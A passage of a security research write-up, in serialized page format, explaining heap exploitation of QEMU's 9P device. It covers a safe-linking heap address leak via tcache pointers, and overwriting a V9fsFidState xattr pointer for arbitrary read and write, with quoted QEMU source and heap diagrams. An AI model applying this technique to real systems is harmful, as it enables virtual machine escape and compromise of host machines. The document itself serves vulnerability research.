chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":24,"tag":25,"props":5787,"children":5788},{},[5789,5791,5797],{"type":29,"value":5790},"To do this, we abuse the forward (",{"type":24,"tag":80,"props":5792,"children":5794},{"className":5793},[],[5795],{"type":29,"value":5796},"fd",{"type":29,"value":5798},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":24,"tag":137,"props":5800,"children":5802},{"code":5801},"fd = next ^ (curr >> 12)\n",[5803],{"type":24,"tag":80,"props":5804,"children":5805},{"__ignoreMap":7},[5806],{"type":29,"value":5801},{"type":24,"tag":25,"props":5808,"children":5809},{},[5810,5812,5818,5820,5826],{"type":29,"value":5811},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":24,"tag":80,"props":5813,"children":5815},{"className":5814},[],[5816],{"type":29,"value":5817},"next",{"type":29,"value":5819}," is ",{"type":24,"tag":80,"props":5821,"children":5823},{"className":5822},[],[5824],{"type":29,"value":5825},"NULL",{"type":29,"value":5827}," because there is no following entry. In that case, the encoding becomes:",{"type":24,"tag":137,"props":5829,"children":5831},{"code":5830},"fd = 0 ^ (curr >> 12)\n",[5832],{"type":24,"tag":80,"props":5833,"children":5834},{"__ignoreMap":7},[5835],{"type":29,"value":5830},{"type":24,"tag":25,"props":5837,"children":5838},{},[5839,5841,5846],{"type":29,"value":5840},"So if we free a single chunk into an empty tcache bin, its ",{"type":24,"tag":80,"props":5842,"children":5844},{"className":5843},[],[5845],{"type":29,"value":5796},{"type":29,"value":5847}," field is effectively just the chunk address shifted right by 12.",{"type":24,"tag":25,"props":5849,"children":5850},{},[5851],{"type":29,"value":5852},"In the overlap we achieved earlier:",{"type":24,"tag":137,"props":5854,"children":5856},{"code":5855},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[5857],{"type":24,"tag":80,"props":5858,"children":5859},{"__ignoreMap":7},[5860],{"type":29,"value":5855},{"type":24,"tag":25,"props":5862,"children":5863},{},[5864,5866,5872,5874,5880,5882,5888,5890,5895],{"type":29,"value":5865},"We first free ",{"type":24,"tag":80,"props":5867,"children":5869},{"className":5868},[],[5870],{"type":29,"value":5871},".value C",{"type":29,"value":5873}," into tcache and read its contents through the oversized ",{"type":24,"tag":80,"props":5875,"children":5877},{"className":5876},[],[5878],{"type":29,"value":5879},".value Y",{"type":29,"value":5881},". This gives us ",{"type":24,"tag":80,"props":5883,"children":5885},{"className":5884},[],[5886],{"type":29,"value":5887},".value C >> 12",{"type":29,"value":5889},". That is not yet the exact address of ",{"type":24,"tag":80,"props":5891,"children":5893},{"className":5892},[],[5894],{"type":29,"value":5871},{"type":29,"value":5896},", since the lower 12 bits are lost.",{"type":24,"tag":25,"props":5898,"children":5899},{},[5900,5902,5907,5909,5914,5916,5921,5923,5928],{"type":29,"value":5901},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":24,"tag":80,"props":5903,"children":5905},{"className":5904},[],[5906],{"type":29,"value":5871},{"type":29,"value":5908},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":24,"tag":80,"props":5910,"children":5912},{"className":5911},[],[5913],{"type":29,"value":5871},{"type":29,"value":5915}," again. This time, ",{"type":24,"tag":80,"props":5917,"children":5919},{"className":5918},[],[5920],{"type":29,"value":5817},{"type":29,"value":5922}," is no longer ",{"type":24,"tag":80,"props":5924,"children":5926},{"className":5925},[],[5927],{"type":29,"value":5825},{"type":29,"value":5929},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":24,"tag":137,"props":5931,"children":5932},{"code":5801},[5933],{"type":24,"tag":80,"props":5934,"children":5935},{"__ignoreMap":7},[5936],{"type":29,"value":5801},{"type":24,"tag":25,"props":5938,"children":5939},{},[5940,5942,5948,5950,5955,5957,5962,5964,5969],{"type":29,"value":5941},"Since we already know ",{"type":24,"tag":80,"props":5943,"children":5945},{"className":5944},[],[5946],{"type":29,"value":5947},"curr >> 12",{"type":29,"value":5949}," from the first leak, we can read the new ",{"type":24,"tag":80,"props":5951,"children":5953},{"className":5952},[],[5954],{"type":29,"value":5796},{"type":29,"value":5956}," value from ",{"type":24,"tag":80,"props":5958,"children":5960},{"className":5959},[],[5961],{"type":29,"value":5871},{"type":29,"value":5963}," and recover the exact address of ",{"type":24,"tag":80,"props":5965,"children":5967},{"className":5966},[],[5968],{"type":29,"value":5817},{"type":29,"value":5970}," by reversing the XOR:",{"type":24,"tag":137,"props":5972,"children":5974},{"code":5973},"next = fd ^ (curr >> 12)\n",[5975],{"type":24,"tag":80,"props":5976,"children":5977},{"__ignoreMap":7},[5978],{"type":29,"value":5973},{"type":24,"tag":25,"props":5980,"children":5981},{},[5982],{"type":29,"value":5983},"This gives us the exact address of a heap chunk whose contents we control.",{"type":24,"tag":43,"props":5985,"children":5987},{"id":5986},"arbitrary-read-and-write",[5988],{"type":29,"value":5989},"Arbitrary Read and Write",{"type":24,"tag":25,"props":5991,"children":5992},{},[5993,5995,6000],{"type":29,"value":5994},"Having a controlled chunk at a known address lets us repurpose ",{"type":24,"tag":80,"props":5996,"children":5998},{"className":5997},[],[5999],{"type":29,"value":5871},{"type":29,"value":6001}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":24,"tag":25,"props":6003,"children":6004},{},[6005,6007,6012],{"type":29,"value":6006},"Recall ",{"type":24,"tag":80,"props":6008,"children":6010},{"className":6009},[],[6011],{"type":29,"value":4463},{"type":29,"value":978},{"type":24,"tag":137,"props":6014,"children":6016},{"code":6015,"language":140,"meta":7,"className":141,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[6017],{"type":24,"tag":80,"props":6018,"children":6019},{"__ignoreMap":7},[6020,6059,6066,6077,6092,6107,6114,6121,6128,6150,6157,6164,6171,6179,6196,6236,6279,6286],{"type":24,"tag":147,"props":6021,"children":6022},{"class":149,"line":150},[6023,6027,6031,6035,6039,6043,6047,6051,6055],{"type":24,"tag":147,"props":6024,"children":6025},{"style":218},[6026],{"type":29,"value":221},{"type":24,"tag":147,"props":6028,"children":6029},{"style":218},[6030],{"type":29,"value":226},{"type":24,"tag":147,"props":6032,"children":6033},{"style":235},[6034],{"type":29,"value":4458},{"type":24,"tag":147,"props":6036,"children":6037},{"style":229},[6038],{"type":29,"value":4463},{"type":24,"tag":147,"props":6040,"children":6041},{"style":235},[6042],{"type":29,"value":480},{"type":24,"tag":147,"props":6044,"children":6045},{"style":218},[6046],{"type":29,"value":1258},{"type":24,"tag":147,"props":6048,"children":6049},{"style":241},[6050],{"type":29,"value":1263},{"type":24,"tag":147,"props":6052,"children":6053},{"style":247},[6054],{"type":29,"value":4480},{"type":24,"tag":147,"props":6056,"children":6057},{"style":235},[6058],{"type":29,"value":269},{"type":24,"tag":147,"props":6060,"children":6061},{"class":149,"line":160},[6062],{"type":24,"tag":147,"props":6063,"children":6064},{"style":235},[6065],{"type":29,"value":278},{"type":24,"tag":147,"props":6067,"children":6068},{"class":149,"line":169},[6069,6073],{"type":24,"tag":147,"props":6070,"children":6071},{"style":218},[6072],{"type":29,"value":1064},{"type":24,"tag":147,"props":6074,"children":6075},{"style":235},[6076],{"type":29,"value":1056},{"type":24,"tag":147,"props":6078,"children":6079},{"class":149,"line":178},[6080,6084,6088],{"type":24,"tag":147,"props":6081,"children":6082},{"style":235},[6083],{"type":29,"value":4606},{"type":24,"tag":147,"props":6085,"children":6086},{"style":241},[6087],{"type":29,"value":244},{"type":24,"tag":147,"props":6089,"children":6090},{"style":235},[6091],{"type":29,"value":4615},{"type":24,"tag":147,"props":6093,"children":6094},{"class":149,"line":187},[6095,6099,6103],{"type":24,"tag":147,"props":6096,"children":6097},{"style":235},[6098],{"type":29,"value":4606},{"type":24,"tag":147,"props":6100,"children":6101},{"style":241},[6102],{"type":29,"value":244},{"type":24,"tag":147,"props":6104,"children":6105},{"style":235},[6106],{"type":29,"value":4631},{"type":24,"tag":147,"props":6108,"children":6109},{"class":149,"line":196},[6110],{"type":24,"tag":147,"props":6111,"children":6112},{"emptyLinePlaceholder":16},[6113],{"type":29,"value":314},{"type":24,"tag":147,"props":6115,"children":6116},{"class":149,"line":205},[6117],{"type":24,"tag":147,"props":6118,"children":6119},{"style":235},[6120],{"type":29,"value":305},{"type":24,"tag":147,"props":6122,"children":6123},{"class":149,"line":214},[6124],{"type":24,"tag":147,"props":6125,"children":6126},{"emptyLinePlaceholder":16},[6127],{"type":29,"value":314},{"type":24,"tag":147,"props":6129,"children":6130},{"class":149,"line":272},[6131,6136,6140,6145],{"type":24,"tag":147,"props":6132,"children":6133},{"style":235},[6134],{"type":29,"value":6135},"    file_fidp ",{"type":24,"tag":147,"props":6137,"children":6138},{"style":241},[6139],{"type":29,"value":369},{"type":24,"tag":147,"props":6141,"children":6142},{"style":229},[6143],{"type":29,"value":6144}," get_fid",{"type":24,"tag":147,"props":6146,"children":6147},{"style":235},[6148],{"type":29,"value":6149},"(pdu, fid);\n",{"type":24,"tag":147,"props":6151,"children":6152},{"class":149,"line":281},[6153],{"type":24,"tag":147,"props":6154,"children":6155},{"emptyLinePlaceholder":16},[6156],{"type":29,"value":314},{"type":24,"tag":147,"props":6158,"children":6159},{"class":149,"line":299},[6160],{"type":24,"tag":147,"props":6161,"children":6162},{"style":235},[6163],{"type":29,"value":305},{"type":24,"tag":147,"props":6165,"children":6166},{"class":149,"line":308},[6167],{"type":24,"tag":147,"props":6168,"children":6169},{"emptyLinePlaceholder":16},[6170],{"type":29,"value":314},{"type":24,"tag":147,"props":6172,"children":6173},{"class":149,"line":317},[6174],{"type":24,"tag":147,"props":6175,"children":6176},{"style":154},[6177],{"type":29,"value":6178},"    /* Make the file fid point to xattr */\n",{"type":24,"tag":147,"props":6180,"children":6181},{"class":149,"line":332},[6182,6187,6191],{"type":24,"tag":147,"props":6183,"children":6184},{"style":235},[6185],{"type":29,"value":6186},"    xattr_fidp ",{"type":24,"tag":147,"props":6188,"children":6189},{"style":241},[6190],{"type":29,"value":369},{"type":24,"tag":147,"props":6192,"children":6193},{"style":235},[6194],{"type":29,"value":6195}," file_fidp;\n",{"type":24,"tag":147,"props":6197,"children":6198},{"class":149,"line":350},[6199,6203,6207,6211,6215,6219,6223,6228,6232],{"type":24,"tag":147,"props":6200,"children":6201},{"style":247},[6202],{"type":29,"value":5012},{"type":24,"tag":147,"props":6204,"children":6205},{"style":235},[6206],{"type":29,"value":495},{"type":24,"tag":147,"props":6208,"children":6209},{"style":247},[6210],{"type":29,"value":4926},{"type":24,"tag":147,"props":6212,"children":6213},{"style":235},[6214],{"type":29,"value":87},{"type":24,"tag":147,"props":6216,"children":6217},{"style":247},[6218],{"type":29,"value":4935},{"type":24,"tag":147,"props":6220,"children":6221},{"style":235},[6222],{"type":29,"value":87},{"type":24,"tag":147,"props":6224,"children":6225},{"style":247},[6226],{"type":29,"value":6227},"len",{"type":24,"tag":147,"props":6229,"children":6230},{"style":241},[6231],{"type":29,"value":651},{"type":24,"tag":147,"props":6233,"children":6234},{"style":235},[6235],{"type":29,"value":1056},{"type":24,"tag":147,"props":6237,"children":6238},{"class":149,"line":358},[6239,6243,6247,6251,6255,6259,6263,6267,6271,6275],{"type":24,"tag":147,"props":6240,"children":6241},{"style":247},[6242],{"type":29,"value":5012},{"type":24,"tag":147,"props":6244,"children":6245},{"style":235},[6246],{"type":29,"value":495},{"type":24,"tag":147,"props":6248,"children":6249},{"style":247},[6250],{"type":29,"value":4926},{"type":24,"tag":147,"props":6252,"children":6253},{"style":235},[6254],{"type":29,"value":87},{"type":24,"tag":147,"props":6256,"children":6257},{"style":247},[6258],{"type":29,"value":4935},{"type":24,"tag":147,"props":6260,"children":6261},{"style":235},[6262],{"type":29,"value":87},{"type":24,"tag":147,"props":6264,"children":6265},{"style":247},[6266],{"type":29,"value":5037},{"type":24,"tag":147,"props":6268,"children":6269},{"style":241},[6270],{"type":29,"value":651},{"type":24,"tag":147,"props":6272,"children":6273},{"style":229},[6274],{"type":29,"value":606},{"type":24,"tag":147,"props":6276,"children":6277},{"style":235},[6278],{"type":29,"value":5050},{"type":24,"tag":147,"props":6280,"children":6281},{"class":149,"line":397},[6282],{"type":24,"tag":147,"props":6283,"children":6284},{"emptyLinePlaceholder":16},[6285],{"type":29,"value":314},{"type":24,"tag":147,"props":6287,"children":6288},{"class":149,"line":421},[6289],{"type":24,"tag":147,"props":6290,"children":6291},{"style":235},[6292],{"type":29,"value":305},{"type":24,"tag":25,"props":6294,"children":6295},{},[6296,6298,6304,6306,6311,6313,6318,6320,6325,6327,6333,6334,6340,6342,6347,6348,6353],{"type":29,"value":6297},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":24,"tag":80,"props":6299,"children":6301},{"className":6300},[],[6302],{"type":29,"value":6303},"V9fsFidState",{"type":29,"value":6305}," object. In other words, if we can place a ",{"type":24,"tag":80,"props":6307,"children":6309},{"className":6308},[],[6310],{"type":29,"value":6303},{"type":29,"value":6312}," where ",{"type":24,"tag":80,"props":6314,"children":6316},{"className":6315},[],[6317],{"type":29,"value":5871},{"type":29,"value":6319}," currently sits, the overlapping ",{"type":24,"tag":80,"props":6321,"children":6323},{"className":6322},[],[6324],{"type":29,"value":5879},{"type":29,"value":6326}," chunk can overwrite ",{"type":24,"tag":80,"props":6328,"children":6330},{"className":6329},[],[6331],{"type":29,"value":6332},"V9fsFidState.fs.xattr.value",{"type":29,"value":855},{"type":24,"tag":80,"props":6335,"children":6337},{"className":6336},[],[6338],{"type":29,"value":6339},"V9fsFidState.fs.xattr.len",{"type":29,"value":6341},". That would immediately give us arbitrary read and write through ",{"type":24,"tag":80,"props":6343,"children":6345},{"className":6344},[],[6346],{"type":29,"value":5127},{"type":29,"value":855},{"type":24,"tag":80,"props":6349,"children":6351},{"className":6350},[],[6352],{"type":29,"value":5119},{"type":29,"value":87},{"type":24,"tag":25,"props":6355,"children":6356},{},[6357,6359,6364,6366,6371,6373,6378,6380,6386,6388,6393,6395,6400,6402,6407,6409,6414,6416,6421],{"type":29,"value":6358},"At this point, ",{"type":24,"tag":80,"props":6360,"children":6362},{"className":6361},[],[6363],{"type":29,"value":5871},{"type":29,"value":6365}," is a ",{"type":24,"tag":80,"props":6367,"children":6369},{"className":6368},[],[6370],{"type":29,"value":4328},{"type":29,"value":6372}," chunk, while ",{"type":24,"tag":80,"props":6374,"children":6376},{"className":6375},[],[6377],{"type":29,"value":6303},{"type":29,"value":6379}," falls into the ",{"type":24,"tag":80,"props":6381,"children":6383},{"className":6382},[],[6384],{"type":29,"value":6385},"0x120",{"type":29,"value":6387}," size class. Before freeing ",{"type":24,"tag":80,"props":6389,"children":6391},{"className":6390},[],[6392],{"type":29,"value":5871},{"type":29,"value":6394},", we therefore use the oversized ",{"type":24,"tag":80,"props":6396,"children":6398},{"className":6397},[],[6399],{"type":29,"value":5879},{"type":29,"value":6401}," chunk to change its size to match ",{"type":24,"tag":80,"props":6403,"children":6405},{"className":6404},[],[6406],{"type":29,"value":6303},{"type":29,"value":6408},". Once ",{"type":24,"tag":80,"props":6410,"children":6412},{"className":6411},[],[6413],{"type":29,"value":5871},{"type":29,"value":6415}," is freed, it is inserted into the ",{"type":24,"tag":80,"props":6417,"children":6419},{"className":6418},[],[6420],{"type":29,"value":6385},{"type":29,"value":6422}," tcache bin.",{"type":24,"tag":137,"props":6424,"children":6426},{"code":6425},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[6427],{"type":24,"tag":80,"props":6428,"children":6429},{"__ignoreMap":7},[6430],{"type":29,"value":6425},{"type":24,"tag":25,"props":6432,"children":6433},{},[6434,6436,6441,6443,6449,6451,6457,6459,6464],{"type":29,"value":6435},"After that, we can simply allocate a new ",{"type":24,"tag":80,"props":6437,"children":6439},{"className":6438},[],[6440],{"type":29,"value":6303},{"type":29,"value":6442}," with a ",{"type":24,"tag":80,"props":6444,"children":6446},{"className":6445},[],[6447],{"type":29,"value":6448},"P9_TWALK",{"type":29,"value":6450}," request and a fresh FID - this reaches ",{"type":24,"tag":80,"props":6452,"children":6454},{"className":6453},[],[6455],{"type":29,"value":6456},"alloc_fid",{"type":29,"value":6458},", which allocates a new ",{"type":24,"tag":80,"props":6460,"children":6462},{"className":6461},[],[6463],{"type":29,"value":6303},{"type":29,"value":978},{"type":24,"tag":137,"props":6466,"children":6468},{"code":6467,"language":140,"meta":7,"className":141,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[6469],{"type":24,"tag":80,"props":6470,"children":6471},{"__ignoreMap":7},[6472,6512,6519,6535,6563,6570,6577,6584,6606,6613,6631,6653,6677,6698,6711,6718,6756,6799,6806,6813,6820,6827,6834,6885,6892,6908,6915,6963,6975,6983,7013,7029,7036,7065,7072],{"type":24,"tag":147,"props":6473,"children":6474},{"class":149,"line":150},[6475,6479,6483,6487,6492,6496,6500,6504,6508],{"type":24,"tag":147,"props":6476,"children":6477},{"style":218},[6478],{"type":29,"value":221},{"type":24,"tag":147,"props":6480,"children":6481},{"style":218},[6482],{"type":29,"value":226},{"type":24,"tag":147,"props":6484,"children":6485},{"style":235},[6486],{"type":29,"value":4458},{"type":24,"tag":147,"props":6488,"children":6489},{"style":229},[6490],{"type":29,"value":6491},"v9fs_walk",{"type":24,"tag":147,"props":6493,"children":6494},{"style":235},[6495],{"type":29,"value":480},{"type":24,"tag":147,"props":6497,"children":6498},{"style":218},[6499],{"type":29,"value":1258},{"type":24,"tag":147,"props":6501,"children":6502},{"style":241},[6503],{"type":29,"value":1263},{"type":24,"tag":147,"props":6505,"children":6506},{"style":247},[6507],{"type":29,"value":4480},{"type":24,"tag":147,"props":6509,"children":6510},{"style":235},[6511],{"type":29,"value":269},{"type":24,"tag":147,"props":6513,"children":6514},{"class":149,"line":160},[6515],{"type":24,"tag":147,"props":6516,"children":6517},{"style":235},[6518],{"type":29,"value":278},{"type":24,"tag":147,"props":6520,"children":6521},{"class":149,"line":169},[6522,6526,6530],{"type":24,"tag":147,"props":6523,"children":6524},{"style":235},[6525],{"type":29,"value":4606},{"type":24,"tag":147,"props":6527,"children":6528},{"style":241},[6529],{"type":29,"value":244},{"type":24,"tag":147,"props":6531,"children":6532},{"style":235},[6533],{"type":29,"value":6534},"fidp;\n",{"type":24,"tag":147,"props":6536,"children":6537},{"class":149,"line":178},[6538,6542,6546,6551,6555,6559],{"type":24,"tag":147,"props":6539,"children":6540},{"style":235},[6541],{"type":29,"value":4606},{"type":24,"tag":147,"props":6543,"children":6544},{"style":241},[6545],{"type":29,"value":244},{"type":24,"tag":147,"props":6547,"children":6548},{"style":235},[6549],{"type":29,"value":6550},"newfidp ",{"type":24,"tag":147,"props":6552,"children":6553},{"style":241},[6554],{"type":29,"value":369},{"type":24,"tag":147,"props":6556,"children":6557},{"style":218},[6558],{"type":29,"value":4284},{"type":24,"tag":147,"props":6560,"children":6561},{"style":235},[6562],{"type":29,"value":432},{"type":24,"tag":147,"props":6564,"children":6565},{"class":149,"line":187},[6566],{"type":24,"tag":147,"props":6567,"children":6568},{"emptyLinePlaceholder":16},[6569],{"type":29,"value":314},{"type":24,"tag":147,"props":6571,"children":6572},{"class":149,"line":196},[6573],{"type":24,"tag":147,"props":6574,"children":6575},{"style":235},[6576],{"type":29,"value":305},{"type":24,"tag":147,"props":6578,"children":6579},{"class":149,"line":205},[6580],{"type":24,"tag":147,"props":6581,"children":6582},{"emptyLinePlaceholder":16},[6583],{"type":29,"value":314},{"type":24,"tag":147,"props":6585,"children":6586},{"class":149,"line":214},[6587,6591,6596,6601],{"type":24,"tag":147,"props":6588,"children":6589},{"style":321},[6590],{"type":29,"value":4759},{"type":24,"tag":147,"props":6592,"children":6593},{"style":235},[6594],{"type":29,"value":6595}," (fid ",{"type":24,"tag":147,"props":6597,"children":6598},{"style":241},[6599],{"type":29,"value":6600},"==",{"type":24,"tag":147,"props":6602,"children":6603},{"style":235},[6604],{"type":29,"value":6605}," newfid) {\n",{"type":24,"tag":147,"props":6607,"children":6608},{"class":149,"line":272},[6609],{"type":24,"tag":147,"props":6610,"children":6611},{"style":235},[6612],{"type":29,"value":458},{"type":24,"tag":147,"props":6614,"children":6615},{"class":149,"line":281},[6616,6621,6626],{"type":24,"tag":147,"props":6617,"children":6618},{"style":235},[6619],{"type":29,"value":6620},"    } ",{"type":24,"tag":147,"props":6622,"children":6623},{"style":321},[6624],{"type":29,"value":6625},"else",{"type":24,"tag":147,"props":6627,"children":6628},{"style":235},[6629],{"type":29,"value":6630}," {\n",{"type":24,"tag":147,"props":6632,"children":6633},{"class":149,"line":299},[6634,6639,6643,6648],{"type":24,"tag":147,"props":6635,"children":6636},{"style":235},[6637],{"type":29,"value":6638},"        newfidp ",{"type":24,"tag":147,"props":6640,"children":6641},{"style":241},[6642],{"type":29,"value":369},{"type":24,"tag":147,"props":6644,"children":6645},{"style":229},[6646],{"type":29,"value":6647}," alloc_fid",{"type":24,"tag":147,"props":6649,"children":6650},{"style":235},[6651],{"type":29,"value":6652},"(s, newfid);\n",{"type":24,"tag":147,"props":6654,"children":6655},{"class":149,"line":308},[6656,6660,6665,6669,6673],{"type":24,"tag":147,"props":6657,"children":6658},{"style":321},[6659],{"type":29,"value":403},{"type":24,"tag":147,"props":6661,"children":6662},{"style":235},[6663],{"type":29,"value":6664}," (newfidp ",{"type":24,"tag":147,"props":6666,"children":6667},{"style":241},[6668],{"type":29,"value":6600},{"type":24,"tag":147,"props":6670,"children":6671},{"style":218},[6672],{"type":29,"value":4284},{"type":24,"tag":147,"props":6674,"children":6675},{"style":235},[6676],{"type":29,"value":505},{"type":24,"tag":147,"props":6678,"children":6679},{"class":149,"line":317},[6680,6685,6689,6693],{"type":24,"tag":147,"props":6681,"children":6682},{"style":235},[6683],{"type":29,"value":6684},"            err ",{"type":24,"tag":147,"props":6686,"children":6687},{"style":241},[6688],{"type":29,"value":369},{"type":24,"tag":147,"props":6690,"children":6691},{"style":241},[6692],{"type":29,"value":1791},{"type":24,"tag":147,"props":6694,"children":6695},{"style":235},[6696],{"type":29,"value":6697},"EINVAL;\n",{"type":24,"tag":147,"props":6699,"children":6700},{"class":149,"line":332},[6701,6706],{"type":24,"tag":147,"props":6702,"children":6703},{"style":321},[6704],{"type":29,"value":6705},"            goto",{"type":24,"tag":147,"props":6707,"children":6708},{"style":235},[6709],{"type":29,"value":6710}," out;\n",{"type":24,"tag":147,"props":6712,"children":6713},{"class":149,"line":350},[6714],{"type":24,"tag":147,"props":6715,"children":6716},{"style":235},[6717],{"type":29,"value":441},{"type":24,"tag":147,"props":6719,"children":6720},{"class":149,"line":358},[6721,6726,6730,6735,6739,6744,6748,6752],{"type":24,"tag":147,"props":6722,"children":6723},{"style":247},[6724],{"type":29,"value":6725},"        newfidp",{"type":24,"tag":147,"props":6727,"children":6728},{"style":235},[6729],{"type":29,"value":495},{"type":24,"tag":147,"props":6731,"children":6732},{"style":247},[6733],{"type":29,"value":6734},"uid",{"type":24,"tag":147,"props":6736,"children":6737},{"style":241},[6738],{"type":29,"value":651},{"type":24,"tag":147,"props":6740,"children":6741},{"style":247},[6742],{"type":29,"value":6743}," fidp",{"type":24,"tag":147,"props":6745,"children":6746},{"style":235},[6747],{"type":29,"value":495},{"type":24,"tag":147,"props":6749,"children":6750},{"style":247},[6751],{"type":29,"value":6734},{"type":24,"tag":147,"props":6753,"children":6754},{"style":235},[6755],{"type":29,"value":432},{"type":24,"tag":147,"props":6757,"children":6758},{"class":149,"line":397},[6759,6764,6768,6772,6777,6781,6786,6790,6794],{"type":24,"tag":147,"props":6760,"children":6761},{"style":229},[6762],{"type":29,"value":6763},"        v9fs_path_copy",{"type":24,"tag":147,"props":6765,"children":6766},{"style":235},[6767],{"type":29,"value":480},{"type":24,"tag":147,"props":6769,"children":6770},{"style":241},[6771],{"type":29,"value":485},{"type":24,"tag":147,"props":6773,"children":6774},{"style":247},[6775],{"type":29,"value":6776},"newfidp",{"type":24,"tag":147,"props":6778,"children":6779},{"style":235},[6780],{"type":29,"value":495},{"type":24,"tag":147,"props":6782,"children":6783},{"style":247},[6784],{"type":29,"value":6785},"path",{"type":24,"tag":147,"props":6787,"children":6788},{"style":235},[6789],{"type":29,"value":546},{"type":24,"tag":147,"props":6791,"children":6792},{"style":241},[6793],{"type":29,"value":485},{"type":24,"tag":147,"props":6795,"children":6796},{"style":235},[6797],{"type":29,"value":6798},"path);\n",{"type":24,"tag":147,"props":6800,"children":6801},{"class":149,"line":421},[6802],{"type":24,"tag":147,"props":6803,"children":6804},{"style":235},[6805],{"type":29,"value":1952},{"type":24,"tag":147,"props":6807,"children":6808},{"class":149,"line":435},[6809],{"type":24,"tag":147,"props":6810,"children":6811},{"emptyLinePlaceholder":16},[6812],{"type":29,"value":314},{"type":24,"tag":147,"props":6814,"children":6815},{"class":149,"line":444},[6816],{"type":24,"tag":147,"props":6817,"children":6818},{"style":235},[6819],{"type":29,"value":305},{"type":24,"tag":147,"props":6821,"children":6822},{"class":149,"line":452},[6823],{"type":24,"tag":147,"props":6824,"children":6825},{"style":235},[6826],{"type":29,"value":827},{"type":24,"tag":147,"props":6828,"children":6829},{"class":149,"line":461},[6830],{"type":24,"tag":147,"props":6831,"children":6832},{"emptyLinePlaceholder":16},[6833],{"type":29,"value":314},{"type":24,"tag":147,"props":6835,"children":6836},{"class":149,"line":469},[6837,6841,6846,6850,6854,6859,6863,6867,6871,6876,6881],{"type":24,"tag":147,"props":6838,"children":6839},{"style":218},[6840],{"type":29,"value":221},{"type":24,"tag":147,"props":6842,"children":6843},{"style":235},[6844],{"type":29,"value":6845}," V9fsFidState ",{"type":24,"tag":147,"props":6847,"children":6848},{"style":241},[6849],{"type":29,"value":244},{"type":24,"tag":147,"props":6851,"children":6852},{"style":229},[6853],{"type":29,"value":6456},{"type":24,"tag":147,"props":6855,"children":6856},{"style":235},[6857],{"type":29,"value":6858},"(V9fsState ",{"type":24,"tag":147,"props":6860,"children":6861},{"style":241},[6862],{"type":29,"value":244},{"type":24,"tag":147,"props":6864,"children":6865},{"style":247},[6866],{"type":29,"value":2203},{"type":24,"tag":147,"props":6868,"children":6869},{"style":235},[6870],{"type":29,"value":546},{"type":24,"tag":147,"props":6872,"children":6873},{"style":218},[6874],{"type":29,"value":6875},"int32_t",{"type":24,"tag":147,"props":6877,"children":6878},{"style":247},[6879],{"type":29,"value":6880}," fid",{"type":24,"tag":147,"props":6882,"children":6883},{"style":235},[6884],{"type":29,"value":269},{"type":24,"tag":147,"props":6886,"children":6887},{"class":149,"line":508},[6888],{"type":24,"tag":147,"props":6889,"children":6890},{"style":235},[6891],{"type":29,"value":278},{"type":24,"tag":147,"props":6893,"children":6894},{"class":149,"line":572},[6895,6899,6903],{"type":24,"tag":147,"props":6896,"children":6897},{"style":235},[6898],{"type":29,"value":4606},{"type":24,"tag":147,"props":6900,"children":6901},{"style":241},[6902],{"type":29,"value":244},{"type":24,"tag":147,"props":6904,"children":6905},{"style":235},[6906],{"type":29,"value":6907},"f;\n",{"type":24,"tag":147,"props":6909,"children":6910},{"class":149,"line":591},[6911],{"type":24,"tag":147,"props":6912,"children":6913},{"emptyLinePlaceholder":16},[6914],{"type":29,"value":314},{"type":24,"tag":147,"props":6916,"children":6917},{"class":149,"line":632},[6918,6923,6927,6932,6936,6940,6944,6949,6953,6958],{"type":24,"tag":147,"props":6919,"children":6920},{"style":235},[6921],{"type":29,"value":6922},"    f ",{"type":24,"tag":147,"props":6924,"children":6925},{"style":241},[6926],{"type":29,"value":369},{"type":24,"tag":147,"props":6928,"children":6929},{"style":229},[6930],{"type":29,"value":6931}," 